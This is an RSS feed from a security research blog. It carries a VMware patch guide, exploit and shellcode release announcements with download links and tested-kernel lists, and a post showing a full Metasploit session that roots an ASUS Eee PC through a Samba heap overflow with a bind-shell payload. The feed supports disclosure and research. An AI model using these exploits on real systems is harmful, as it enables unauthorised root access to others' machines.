<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>RISE Security</title>
	<atom:link href="http://risesecurity.org/feed/" rel="self" type="application/rss+xml" />
	<link>http://risesecurity.org</link>
	<description></description>
	<lastBuildDate>Tue, 19 Jan 2010 01:32:46 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>VMware Server 2.0.2 Update Patch</title>
		<link>http://risesecurity.org/2010/01/10/vmware-server-2-0-2-update-patch/</link>
		<comments>http://risesecurity.org/2010/01/10/vmware-server-2-0-2-update-patch/#comments</comments>
		<pubDate>Sun, 10 Jan 2010 23:30:03 +0000</pubDate>
		<dc:creator>Ramon de Carvalho Valle</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://hades-4/2010/01/10/vmware-server-2-0-2-update-patch/</guid>
		<description><![CDATA[January 18, 2009: Radu Cotescu integrated this patch to the latest version of his script, that now applies the patch automatically in Ubuntu, Fedora and openSUSE. The script is available here.
It has been a while since VMware updates VMware Server to add support for newer versions of the Linux kernel. This is a problem for [...]]]></description>
			<content:encoded><![CDATA[<p><strong>January 18, 2009:</strong> <em><a href="http://radu.cotescu.com/">Radu Cotescu</a> integrated this patch to the latest version of his script, that now applies the patch automatically in Ubuntu, Fedora and openSUSE. The script is <a href="http://radu.cotescu.com/2010/01/19/how-to-install-vmware-server-ubuntu-fedora-opensuse/">available here</a>.</em></p>
<p>It has been a while since VMware updates VMware Server to add support for newer versions of the Linux kernel. This is a problem for users of newer distributions such as Ubuntu 9.10 (Karmic Koala) and Fedora 12 (Constantine) who want to use VMware Server.</p>
<p>To resolve this, some unofficial patches that update VMware Server to add support for newer versions of the Linux kernel have been released. However, these patches do not properly add support and have several problems, some of them even require the Linux kernel to be recompiled.</p>
<p><span id="more-50"></span></p>
<p>I released a patch for VMware Server 2.0.2 that properly add support for newer versions of the Linux kernel and does not require it to be recompiled. This patch was tested on Ubuntu 9.10 and Fedora 12.</p>
<p>The patch has the following features:</p>
<ul>
<li>Add support for versions of the Linux Kernel that implement COW credentials.</li>
<li>Add support for net_device_ops structure.</li>
<li>Remove references to init_mm structure by removing APIC support for 2.6.25 and later (APIC code currently uses the macro pgd_offset_k).</li>
<li>Remove references to dev-&gt;priv by using netdev_priv().</li>
<li>Suppress GCC warnings.</li>
<li>Fix other known issues.</li>
</ul>
<p><strong>The following are instructions on how to apply the patch:</strong></p>
<p>Download the <a href="http://downloads.vmware.com/d/info/datacenter_downloads/vmware_server/2_0">VMware Server</a>:</p>
<pre>$ wget -N http://downloads.vmware.com/d/info/datacenter_downloads/vmware_server/2_0
</pre>
<p>Download the <a href="http://risesecurity.org/~rcvalle/VMware-server-2.0.2-203138-update.patch">VMware Server update patch</a>:</p>
<pre>$ wget -N http://risesecurity.org/~rcvalle/VMware-server-2.0.2-203138-update.patch
</pre>
<p>Extract VMware Server:</p>
<pre>$ tar -xzf VMware-server-2.0.2-203138.i386.tar.gz
</pre>
<p>Extract VMware Server modules:</p>
<pre>Change working directory to vmware-server-distrib/lib/modules/source/
$ tar -xf vmci.tar
$ tar -xf vmmon.tar
$ tar -xf vmnet.tar
$ tar -xf vsock.tar
</pre>
<p>Apply the patch:</p>
<pre>Change working directory to vmware-server-distrib/
patch -p1 &lt; ../VMware-server-2.0.2-203138-update.patch
</pre>
<p>Archive VMware Server modules again:</p>
<pre>Change working directory to vmware-server-distrib/lib/modules/source/
$ rm -f vmci.tar
$ rm -f vmmon.tar
$ rm -f vmnet.tar
$ rm -f vsock.tar
$ tar -cf vmci.tar vmci-only/
$ tar -cf vmmon.tar vmmon-only/
$ tar -cf vmnet.tar vmnet-only/
$ tar -cf vsock.tar vsock-only/
</pre>
<p>Run installer script as root:</p>
<pre>Change working directory to vmware-server-distrib/
$ sudo ./vmware-install.pl
</pre>
<p><strong>Note for Ubuntu users:</strong></p>
<p>When asked for the current administrative user for VMware Server, specify your user as a different administrator.</p>
<p><strong>Note about VMware Remote Console Plug-in:</strong></p>
<p>The VMware Remote Console Plug-in does not work properly on Ubuntu 9.10, Fedora 12 and other newer distributions. A workaround for this is to set the environment variable <strong>VMWARE_USE_SHIPPED_GTK</strong> before running the VMware Remote Console Plug-in. To set this environment variable at login time,  add the following line to your <em>~/.profile</em>:</p>
<pre>export VMWARE_USE_SHIPPED_GTK=yes
</pre>
]]></content:encoded>
			<wfw:commentRss>http://risesecurity.org/2010/01/10/vmware-server-2-0-2-update-patch/feed/</wfw:commentRss>
		<slash:comments>40</slash:comments>
		</item>
		<item>
		<title>Illustrating the Linux sock_sendpage() NULL Pointer Dereference on Power/Cell BE Architecture</title>
		<link>http://risesecurity.org/2009/08/31/illustrating-the-linux-sock_sendpage-null-pointer-dereference-on-powercell-be-architecture/</link>
		<comments>http://risesecurity.org/2009/08/31/illustrating-the-linux-sock_sendpage-null-pointer-dereference-on-powercell-be-architecture/#comments</comments>
		<pubDate>Mon, 31 Aug 2009 00:00:03 +0000</pubDate>
		<dc:creator>Ramon de Carvalho Valle</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[vulnerability]]></category>

		<guid isPermaLink="false">http://hades-4/?p=44</guid>
		<description><![CDATA[September 10, 2009: I released a third and final version of the exploit. This third version features: Complete support for i386, x86_64, ppc and ppc64; The personality trick published by Tavis Ormandy and Julien Tinnes; The TOC pointer workaround for data items addressing on ppc64 (i.e. functions in exploit code and libc can be referenced); [...]]]></description>
			<content:encoded><![CDATA[<p><strong>September 10, 2009</strong>: <em>I released a third and final version of the exploit. This third version features: Complete support for i386, x86_64, ppc and ppc64; The personality trick published by Tavis Ormandy and Julien Tinnes; The TOC pointer workaround for data items addressing on ppc64 (i.e. functions in exploit code and libc can be referenced); Improved search and transition to SELinux types with mmap_zero permission. The third version of the exploit is <a href="/exploits/linux-sendpage3.tar.gz">available here</a>.</em></p>
<p><strong>September 7, 2009</strong>: <em>I released a second version of the exploit. Now, it also works with Linux Kernel versions which implements COW credentials (e.g. Fedora 11). For SELinux enforced systems, it automatically searches in the SELinux policy rules for types with mmap_zero permission it can transition, and tries to exploit the system with these types. The second version of the exploit is <a href="/exploits/linux-sendpage2.tar.gz">available here</a>.</em></p>
<p><span id="more-44"></span></p>
<p><strong>September 4, 2009</strong>: <em>I updated the list of distributions the exploit was tested.</em></p>
<p>I released an exploit for the <a href="http://blog.cr0.org/2009/08/linux-null-pointer-dereference-due-to.html">Linux sock_sendpage() NULL Pointer Dereference</a>, discovered by Tavis Ormandy and Julien Tinnes. This exploit was written to illustrate the exploitability of this vulnerability on Power/Cell BE architecture.</p>
<p>The exploit makes use of the SELinux and the mmap_min_addr problem to exploit this vulnerability on Red Hat Enterprise Linux 5.3 and CentOS 5.3. The problem, first noticed by Brad Spengler, was described by Red Hat in the Red Hat Knowledgebase article: <a href="http://kbase.redhat.com/faq/docs/DOC-18042">Security-Enhanced Linux (SELinux) policy and the mmap_min_addr protection</a>.</p>
<p>Support for i386 and x86_64 was added for completeness. For a more complete implementation, refer to <a href="http://www.grsecurity.net/%7Espender/wunderbar_emporium2.tgz">Brad Spengler&#8217;s exploit</a>, which also implements the <a href="http://blog.cr0.org/2009/06/bypassing-linux-null-pointer.html">personality trick</a> published by Tavis Ormandy and Julien Tinnes.</p>
<p>Linux kernel versions from 2.4.4 to 2.4.37.4, and from 2.6.0 to 2.6.30.4 are vulnerable.</p>
<p>The exploit was tested on:</p>
<ul>
<li>CentOS 5.3 (2.6.18-128.7.1.el5) is not vulnerable</li>
<li>CentOS 5.3 (2.6.18-128.4.1.el5)</li>
<li>CentOS 5.3 (2.6.18-128.2.1.el5)</li>
<li>CentOS 5.3 (2.6.18-128.1.16.el5)</li>
<li>CentOS 5.3 (2.6.18-128.1.14.el5)</li>
<li>CentOS 5.3 (2.6.18-128.1.10.el5)</li>
<li>CentOS 5.3 (2.6.18-128.1.6.el5)</li>
<li>CentOS 5.3 (2.6.18-128.1.1.el5)</li>
<li>CentOS 5.3 (2.6.18-128.el5)</li>
<li>CentOS 4.8 (2.6.9-89.0.9.EL) is not vulnerable</li>
<li>CentOS 4.8 (2.6.9-89.0.7.EL)</li>
<li>CentOS 4.8 (2.6.9-89.0.3.EL)</li>
<li>CentOS 4.8 (2.6.9-89.EL)</li>
<li>Fedora 11 (2.6.29.4-167.fc11)</li>
<li>Fedora 10 (2.6.27.5-117.fc10)</li>
<li>Red Hat Enterprise Linux 5.3 (2.6.18-128.7.1.el5) is not vulnerable</li>
<li>Red Hat Enterprise Linux 5.3 (2.6.18-128.4.1.el5)</li>
<li>Red Hat Enterprise Linux 5.3 (2.6.18-128.2.1.el5)</li>
<li>Red Hat Enterprise Linux 5.3 (2.6.18-128.1.16.el5)</li>
<li>Red Hat Enterprise Linux 5.3 (2.6.18-128.1.14.el5)</li>
<li>Red Hat Enterprise Linux 5.3 (2.6.18-128.1.10.el5)</li>
<li>Red Hat Enterprise Linux 5.3 (2.6.18-128.1.6.el5)</li>
<li>Red Hat Enterprise Linux 5.3 (2.6.18-128.1.1.el5)</li>
<li>Red Hat Enterprise Linux 5.3 (2.6.18-128.el5)</li>
<li>Red Hat Enterprise Linux 4.8 (2.6.9-89.0.9.EL) is not vulnerable</li>
<li>Red Hat Enterprise Linux 4.8 (2.6.9-89.0.7.EL)</li>
<li>Red Hat Enterprise Linux 4.8 (2.6.9-89.0.3.EL)</li>
<li>Red Hat Enterprise Linux 4.8 (2.6.9-89.EL)</li>
<li>SUSE Linux Enterprise Server 11 (2.6.27.29-0.1) is not vulnerable</li>
<li>SUSE Linux Enterprise Server 11 (2.6.27.25-0.1)</li>
<li>SUSE Linux Enterprise Server 11 (2.6.27.23-0.1)</li>
<li>SUSE Linux Enterprise Server 11 (2.6.27.21-0.1)</li>
<li>SUSE Linux Enterprise Server 11 (2.6.27.19-5)</li>
<li>SUSE Linux Enterprise Server 10 SP2 (2.6.16.60-0.42.4) is not   vulnerable</li>
<li>SUSE Linux Enterprise Server 10 SP2 (2.6.16.60-0.39.3)</li>
<li>SUSE Linux Enterprise Server 10 SP2 (2.6.16.60-0.37_f594963d)</li>
<li>SUSE Linux Enterprise Server 10 SP2 (2.6.16.60-0.34)</li>
<li>SUSE Linux Enterprise Server 10 SP2 (2.6.16.60-0.33)</li>
<li>SUSE Linux Enterprise Server 10 SP2 (2.6.16.60-0.31)</li>
<li>SUSE Linux Enterprise Server 10 SP2 (2.6.16.60-0.29)</li>
<li>SUSE Linux Enterprise Server 10 SP2 (2.6.16.60-0.27)</li>
<li>SUSE Linux Enterprise Server 10 SP2 (2.6.16.60-0.23)</li>
<li>SUSE Linux Enterprise Server 10 SP2 (2.6.16.60-0.21)</li>
<li>Ubuntu 8.10 (2.6.27-14) is not vulnerable</li>
<li>Ubuntu 8.10 (2.6.27-11)</li>
<li>Ubuntu 8.10 (2.6.27-9)</li>
<li>Ubuntu 8.10 (2.6.27-7)</li>
<li>openSUSE 11.1 (2.6.27.29-0.1) is not vulnerable</li>
<li>openSUSE 11.1 (2.6.27.25-0.1)</li>
<li>openSUSE 11.1 (2.6.27.23-0.1)</li>
<li>openSUSE 11.1 (2.6.27.21-0.1)</li>
<li>openSUSE 11.1 (2.6.27.19-3.2)</li>
<li>openSUSE 11.1 (2.6.27.7-9)</li>
</ul>
<p>It should also work on early versions of these distributions. The exploit is <a href="/exploits/linux-sendpage.c">available here</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://risesecurity.org/2009/08/31/illustrating-the-linux-sock_sendpage-null-pointer-dereference-on-powercell-be-architecture/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Hacking the Cell Broadband Engine Architecture, SPE Software Exploitation</title>
		<link>http://risesecurity.org/2009/06/11/hacking-the-cell-broadband-engine-architecture-spe-software-exploitation/</link>
		<comments>http://risesecurity.org/2009/06/11/hacking-the-cell-broadband-engine-architecture-spe-software-exploitation/#comments</comments>
		<pubDate>Thu, 11 Jun 2009 00:00:12 +0000</pubDate>
		<dc:creator>Ramon de Carvalho Valle</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[article]]></category>
		<category><![CDATA[paper]]></category>

		<guid isPermaLink="false">http://hades-4/?p=42</guid>
		<description><![CDATA[Phrack issue #66 was released and features an article written by Rodrigo, titled “Hacking the Cell Broadband Engine Architecture, SPE software exploitation”, which extends our  previously published work to the Synergistic Processor Element (SPE) software development and exploitation. The article is available at:
Hacking the Cell Broadband Engine Architecture, SPE software exploitation
Hacking the Cell Broadband [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.phrack.org/issues.html?issue=66">Phrack issue #66</a> was released and features an article written by Rodrigo, titled “Hacking the Cell Broadband Engine Architecture, SPE software exploitation”, which extends our <a href="/2009/01/14/linux-on-powercell-be-architecture-buffer-overflow-vulnerabilities/"> previously published work</a> to the Synergistic Processor Element (SPE) software development and exploitation. The article is available at:</p>
<p><a href="/papers/hack_cell.txt">Hacking the Cell Broadband Engine Architecture, SPE software exploitation</a><br />
<a href="http://www.phrack.org/issues.html?issue=66&#038;id=13#article">Hacking the Cell Broadband Engine Architecture, SPE software exploitation (Phrack Magazine)</a></p>
]]></content:encoded>
			<wfw:commentRss>http://risesecurity.org/2009/06/11/hacking-the-cell-broadband-engine-architecture-spe-software-exploitation/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Linux on Power/Cell BE Architecture Buffer Overflow Vulnerabilities</title>
		<link>http://risesecurity.org/2009/01/14/linux-on-powercell-be-architecture-buffer-overflow-vulnerabilities/</link>
		<comments>http://risesecurity.org/2009/01/14/linux-on-powercell-be-architecture-buffer-overflow-vulnerabilities/#comments</comments>
		<pubDate>Wed, 14 Jan 2009 00:00:36 +0000</pubDate>
		<dc:creator>Ramon de Carvalho Valle</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[article]]></category>
		<category><![CDATA[paper]]></category>

		<guid isPermaLink="false">http://hades-4/?p=41</guid>
		<description><![CDATA[The two part article series I wrote, titled “Linux on Power/Cell BE Architecture Buffer Overflow Vulnerabilities”, is available at IBM developerWorks. This article discusses buffer overflow vulnerabilities in Linux running on Power/Cell BE Architecture processor-based servers and how to exploit them. It also presents a complete set of assembly components for Linux on Power/Cell BE [...]]]></description>
			<content:encoded><![CDATA[<p>The two part article series I wrote, titled “Linux on Power/Cell BE Architecture Buffer Overflow Vulnerabilities”, is available at IBM developerWorks. This article discusses buffer overflow vulnerabilities in Linux running on Power/Cell BE Architecture processor-based servers and how to exploit them. It also presents a complete set of assembly components for Linux on Power/Cell BE Architecture and their usage. Previous knowledge of buffer overflows is required. The article is available at:</p>
<p><a href="/papers/lopbuffer.pdf">Linux on Power/Cell BE Architecture Buffer Overflow Vulnerabilities</a><br />
<a href="http://www.ibm.com/developerworks/linux/library/l-lopbuf1/">LoP/Cell/B.E.: Buffer overflow vulnerabilities, Part 1 (IBM developerWorks)</a><br />
<a href="http://www.ibm.com/developerworks/linux/library/l-lopbuf2/">LoP/Cell/B.E.: Buffer overflow vulnerabilities, Part 2 (IBM developerWorks)</a></p>
]]></content:encoded>
			<wfw:commentRss>http://risesecurity.org/2009/01/14/linux-on-powercell-be-architecture-buffer-overflow-vulnerabilities/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Linux Slab Allocator Buffer Overflow Vulnerabilities</title>
		<link>http://risesecurity.org/2008/12/12/linux-slab-allocator-buffer-overflow-vulnerabilities/</link>
		<comments>http://risesecurity.org/2008/12/12/linux-slab-allocator-buffer-overflow-vulnerabilities/#comments</comments>
		<pubDate>Fri, 12 Dec 2008 00:00:26 +0000</pubDate>
		<dc:creator>Ramon de Carvalho Valle</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[article]]></category>
		<category><![CDATA[paper]]></category>

		<guid isPermaLink="false">http://hades-4/?p=39</guid>
		<description><![CDATA[I published an article I wrote earlier last year, titled “Linux Slab Allocator Buffer Overflow Vulnerabilities”, written in Portuguese (Brazil). This article discusses buffer overflow vulnerabilities in Linux kernel&#8217;s Slab Allocator and how to exploit them. Previous knowledge of buffer overflows is required. The article is available at:
Linux Slab Allocator Buffer Overflow Vulnerabilities
Linux Slab Allocator [...]]]></description>
			<content:encoded><![CDATA[<p>I published an article I wrote earlier last year, titled “Linux Slab Allocator Buffer Overflow Vulnerabilities”, written in Portuguese (Brazil). This article discusses buffer overflow vulnerabilities in Linux kernel&#8217;s Slab Allocator and how to exploit them. Previous knowledge of buffer overflows is required. The article is available at:</p>
<p><a href="/papers/linuxslab.pdf">Linux Slab Allocator Buffer Overflow Vulnerabilities</a><br />
<a href="http://www.ibm.com/developerworks/br/library/Linux_Slab_Allocator_BR.html">Linux Slab Allocator Buffer Overflow Vulnerabilities (IBM developerWorks Brasil)</a></p>
]]></content:encoded>
			<wfw:commentRss>http://risesecurity.org/2008/12/12/linux-slab-allocator-buffer-overflow-vulnerabilities/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>UNIX Assembly Components for Proof of Concept Codes 1.3.0</title>
		<link>http://risesecurity.org/2008/11/17/unix-assembly-components-for-proof-of-concept-codes-1-3-0/</link>
		<comments>http://risesecurity.org/2008/11/17/unix-assembly-components-for-proof-of-concept-codes-1-3-0/#comments</comments>
		<pubDate>Mon, 17 Nov 2008 00:00:29 +0000</pubDate>
		<dc:creator>Ramon de Carvalho Valle</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[project]]></category>
		<category><![CDATA[shellcode]]></category>

		<guid isPermaLink="false">http://hades-4/?p=37</guid>
		<description><![CDATA[We are pleased to announce the release of a new version of our UNIX Assembly Components for Proof of Concept Codes (unixasm).
The unixasm is a set of assembly components for proof of concept codes on different operating systems and architectures. These components were carefully designed and implemented for maximum reliability, following strict coding standards and [...]]]></description>
			<content:encoded><![CDATA[<p>We are pleased to announce the release of a new version of our <a href="/projects/unixasm/">UNIX Assembly Components for Proof of Concept Codes (unixasm)</a>.</p>
<p>The unixasm is a set of assembly components for proof of concept codes on different operating systems and architectures. These components were carefully designed and implemented for maximum reliability, following strict coding standards and requirements, such as system call invocation standards, position independent, register independent and zero free code. A special attention was put on code length when designing and implementing them, resulting in the most reliable and shortest codes for such purpose available today.</p>
<p>Changes in this version:</p>
<ul>
<li>Bug fixes to AIX POWER/PowerPC assembly components and payload modules.</li>
<li>New assembly components and payload modules for AIX POWER/PowerPC.</li>
<li>New assembly components and payload modules for Linux POWER/PowerPC/Cell BE.</li>
<li>New assembly components and payload modules for Linux POWER/PowerPC/Cell BE (64-bit).</li>
</ul>
<p>These components are also available as part of <a href="http://www.metasploit.com/framework/">The Metasploit Framework</a> as payload modules.</p>
]]></content:encoded>
			<wfw:commentRss>http://risesecurity.org/2008/11/17/unix-assembly-components-for-proof-of-concept-codes-1-3-0/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>UNIX Assembly Components for Proof of Concept Codes 1.2.0</title>
		<link>http://risesecurity.org/2008/09/10/unix-assembly-components-for-proof-of-concept-codes-1-2-0/</link>
		<comments>http://risesecurity.org/2008/09/10/unix-assembly-components-for-proof-of-concept-codes-1-2-0/#comments</comments>
		<pubDate>Wed, 10 Sep 2008 00:00:01 +0000</pubDate>
		<dc:creator>Ramon de Carvalho Valle</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[project]]></category>
		<category><![CDATA[shellcode]]></category>

		<guid isPermaLink="false">http://hades-4/?p=36</guid>
		<description><![CDATA[We are pleased to announce the release of a new version of our UNIX Assembly Components for Proof of Concept Codes (unixasm).
The unixasm is a set of assembly components for proof of concept codes on different operating systems and architectures. These components were carefully designed and implemented for maximum reliability, following strict coding standards and [...]]]></description>
			<content:encoded><![CDATA[<p>We are pleased to announce the release of a new version of our <a href="/projects/unixasm/">UNIX Assembly Components for Proof of Concept Codes (unixasm)</a>.</p>
<p>The unixasm is a set of assembly components for proof of concept codes on different operating systems and architectures. These components were carefully designed and implemented for maximum reliability, following strict coding standards and requirements, such as system call invocation standards, position independent, register independent and zero free code. A special attention was put on code length when designing and implementing them, resulting in the most reliable and shortest codes for such purpose available today.</p>
<p>Changes in this version:</p>
<ul>
<li>New assembly components and payload modules for AIX POWER/PowerPC.</li>
</ul>
<p>These components are also available as part of <a href="http://www.metasploit.com/framework/">The Metasploit Framework</a> as payload modules.</p>
]]></content:encoded>
			<wfw:commentRss>http://risesecurity.org/2008/09/10/unix-assembly-components-for-proof-of-concept-codes-1-2-0/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>UNIX Assembly Components for Proof of Concept Codes 1.1.0</title>
		<link>http://risesecurity.org/2008/02/08/unix-assembly-components-for-proof-of-concept-codes-1-1-0/</link>
		<comments>http://risesecurity.org/2008/02/08/unix-assembly-components-for-proof-of-concept-codes-1-1-0/#comments</comments>
		<pubDate>Fri, 08 Feb 2008 00:00:20 +0000</pubDate>
		<dc:creator>Ramon de Carvalho Valle</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[project]]></category>
		<category><![CDATA[shellcode]]></category>

		<guid isPermaLink="false">http://hades-4/?p=34</guid>
		<description><![CDATA[We are pleased to announce the release of a new version of our UNIX Assembly Components for Proof of Concept Codes (unixasm).
The unixasm is a set of assembly components for proof of concept codes on different operating systems and architectures. These components were carefully designed and implemented for maximum reliability, following strict coding standards and [...]]]></description>
			<content:encoded><![CDATA[<p>We are pleased to announce the release of a new version of our <a href="/projects/unixasm/">UNIX Assembly Components for Proof of Concept Codes (unixasm)</a>.</p>
<p>The unixasm is a set of assembly components for proof of concept codes on different operating systems and architectures. These components were carefully designed and implemented for maximum reliability, following strict coding standards and requirements, such as system call invocation standards, position independent, register independent and zero free code. A special attention was put on code length when designing and implementing them, resulting in the most reliable and shortest codes for such purpose available today.</p>
<p>Changes in this version:</p>
<ul>
<li>New Find socket code (fndsockcode) assembly components for all already supported operating systems and architectures.</li>
<li>New assembly components and payload modules for Mac OS X x86.</li>
</ul>
<p>These components are also available as part of <a href="http://www.metasploit.com/framework/">The Metasploit Framework</a> as payload modules.</p>
]]></content:encoded>
			<wfw:commentRss>http://risesecurity.org/2008/02/08/unix-assembly-components-for-proof-of-concept-codes-1-1-0/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ASUS Eee PC Rooted Out of the Box</title>
		<link>http://risesecurity.org/2008/02/08/asus-eee-pc-rooted-out-of-the-box/</link>
		<comments>http://risesecurity.org/2008/02/08/asus-eee-pc-rooted-out-of-the-box/#comments</comments>
		<pubDate>Fri, 08 Feb 2008 00:00:01 +0000</pubDate>
		<dc:creator>Ramon de Carvalho Valle</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[metasploit]]></category>
		<category><![CDATA[module]]></category>
		<category><![CDATA[vulnerability]]></category>

		<guid isPermaLink="false">http://hades-4/?p=35</guid>
		<description><![CDATA[We have recently acquired an ASUS Eee PC (if you want to know more about it, a lot of reviews are available on internet). The first thing we did when we put our hands at the ASUS Eee PC was to test its security. The ASUS Eee PC comes with a customized version of Xandros [...]]]></description>
			<content:encoded><![CDATA[<p>We have recently acquired an ASUS Eee PC (if you want to know more about it, a lot of reviews are available on internet). The first thing we did when we put our hands at the ASUS Eee PC was to test its security. The ASUS Eee PC comes with a customized version of Xandros operating system installed, and some other bundled software like Mozilla Firefox, Pidgin, Skype and OpenOffice.org.</p>
<p>Analysing the running processes of the ASUS Eee PC, the first thing that caught our attention was the running smbd process (the sshd daemon was started by us, and is not enabled by default).</p>
<p><span id="more-35"></span></p>
<pre>eeepc-rise:/root&gt; ps -e
  PID TTY          TIME CMD
    1 ?        00:00:00 fastinit
    2 ?        00:00:00 ksoftirqd/0
    3 ?        00:00:00 events/0
    4 ?        00:00:00 khelper
    5 ?        00:00:00 kthread
   25 ?        00:00:00 kblockd/0
   26 ?        00:00:00 kacpid
  128 ?        00:00:00 ata/0
  129 ?        00:00:00 ata_aux
  130 ?        00:00:00 kseriod
  148 ?        00:00:00 pdflush
  149 ?        00:00:00 pdflush
  150 ?        00:00:00 kswapd0
  151 ?        00:00:00 aio/0
  152 ?        00:00:00 unionfs_siod/0
  778 ?        00:00:00 scsi_eh_0
  779 ?        00:00:00 scsi_eh_1
  799 ?        00:00:00 kpsmoused
  819 ?        00:00:00 kjournald
  855 ?        00:00:00 fastinit
  857 ?        00:00:00 sh
  858 ?        00:00:00 su
  859 tty3     00:00:00 getty
  862 ?        00:00:00 startx
  880 ?        00:00:00 xinit
  881 tty2     00:00:06 Xorg
  890 ?        00:00:00 udevd
  952 ?        00:00:00 ksuspend_usbd
  953 ?        00:00:00 khubd
 1002 ?        00:00:00 acpid
 1027 ?        00:00:00 pciehpd_event
 1055 ?        00:00:00 ifplugd
 1101 ?        00:00:00 scsi_eh_2
 1102 ?        00:00:00 usb-storage
 1151 ?        00:00:00 icewm
 1185 ?        00:00:01 AsusLauncher
 1186 ?        00:00:00 icewmtray
 1188 ?        00:00:01 powermonitor
 1190 ?        00:00:00 minimixer
 1191 ?        00:00:00 networkmonitor
 1192 ?        00:00:00 wapmonitor
 1193 ?        00:00:00 x-session-manag
 1195 ?        00:00:00 x-session-manag
 1200 ?        00:00:00 x-session-manag
 1201 ?        00:00:00 dispwatch
 1217 ?        00:00:00 cupsd
 1224 ?        00:00:00 usbstorageapple
 1234 ?        00:00:00 kondemand/0
 1240 ?        00:00:00 portmap
 1248 ?        00:00:00 keyboardstatus
 1272 ?        00:00:00 memd
 1279 ?        00:00:00 scim-helper-man
 1280 ?        00:00:00 scim-panel-gtk
 1282 ?        00:00:00 scim-launcher
 1297 ?        00:00:00 netserv
 1331 ?        00:00:00 asusosd
 1476 ?        00:00:00 xandrosncs-agen
 1775 ?        00:00:00 dhclient3
 2002 ?        00:00:00 nmbd
 2004 ?        00:00:00 smbd
 2005 ?        00:00:00 smbd
 2322 ?        00:00:00 sshd
 2345 ?        00:00:00 sshd
 2356 pts/0    00:00:00 bash
 2362 pts/0    00:00:00 ps
eeepc-rise:/root&gt;
</pre>
<p>Retrieving the the smbd version, we discovered that it runs a vulnerable version of Samba (Samba lsa_io_trans_names Heap Overflow), which exploit we published earlier last year.</p>
<pre>eeepc-rise:/root&gt; smbd --version
Version 3.0.24
eeepc-rise:/root&gt;
</pre>
<p>With this information, we ran our exploit against the ASUS Eee PC using the Debian/Ubuntu target (Xandros is based on Corel Linux, which is Debian based).</p>
<pre>msf &gt; use linux/samba/lsa_transnames_heap
msf exploit(lsa_transnames_heap) &gt; set RHOST 192.168.50.10
RHOST =&gt; 192.168.50.10
msf exploit(lsa_transnames_heap) &gt; set PAYLOAD linux/x86/shell_bind_tcp
PAYLOAD =&gt; linux/x86/shell_bind_tcp
msf exploit(lsa_transnames_heap) &gt; show targets

Exploit targets:

   Id  Name
   --  ----
   0   Linux vsyscall
   1   Linux Heap Brute Force (Debian/Ubuntu)
   2   Linux Heap Brute Force (Gentoo)
   3   Linux Heap Brute Force (Mandriva)
   4   Linux Heap Brute Force (RHEL/CentOS)
   5   Linux Heap Brute Force (SUSE)
   6   Linux Heap Brute Force (Slackware)
   7   DEBUG

msf exploit(lsa_transnames_heap) &gt; set TARGET 1
TARGET =&gt; 1
msf exploit(lsa_transnames_heap) &gt; exploit
[*] Started bind handler
[*] Creating nop sled....
...
[*] Trying to exploit Samba with address 0x08415000...
[*] Connecting to the SMB service...
[*] Binding to
12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.50.10[\lsarpc] ...
[*] Bound to
12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.50.10[\lsarpc] ...
[*] Calling the vulnerable function...
[+] Server did not respond, this is expected
[*] Command shell session 1 opened (192.168.50.201:33694 -&gt; 192.168.50.10:4444)
msf exploit(lsa_transnames_heap) &gt; sessions -i 1
[*] Starting interaction with 1...

uname -a
Linux eeepc-rise 2.6.21.4-eeepc #21 Sat Oct 13 12:14:03 EDT 2007 i686 GNU/Linux
id
uid=0(root) gid=0(root) egid=65534(nogroup) groups=65534(nogroup)
</pre>
<p><strong>Easy</strong> to learn, <strong>Easy</strong> to work, <strong>Easy</strong> to root.</p>
]]></content:encoded>
			<wfw:commentRss>http://risesecurity.org/2008/02/08/asus-eee-pc-rooted-out-of-the-box/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>InterBase/Firebird fun</title>
		<link>http://risesecurity.org/2007/10/03/interbasefirebird-fun/</link>
		<comments>http://risesecurity.org/2007/10/03/interbasefirebird-fun/#comments</comments>
		<pubDate>Wed, 03 Oct 2007 00:00:59 +0000</pubDate>
		<dc:creator>Ramon de Carvalho Valle</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[auxiliary]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[metasploit]]></category>
		<category><![CDATA[module]]></category>
		<category><![CDATA[vulnerability]]></category>

		<guid isPermaLink="false">http://hades-4/?p=32</guid>
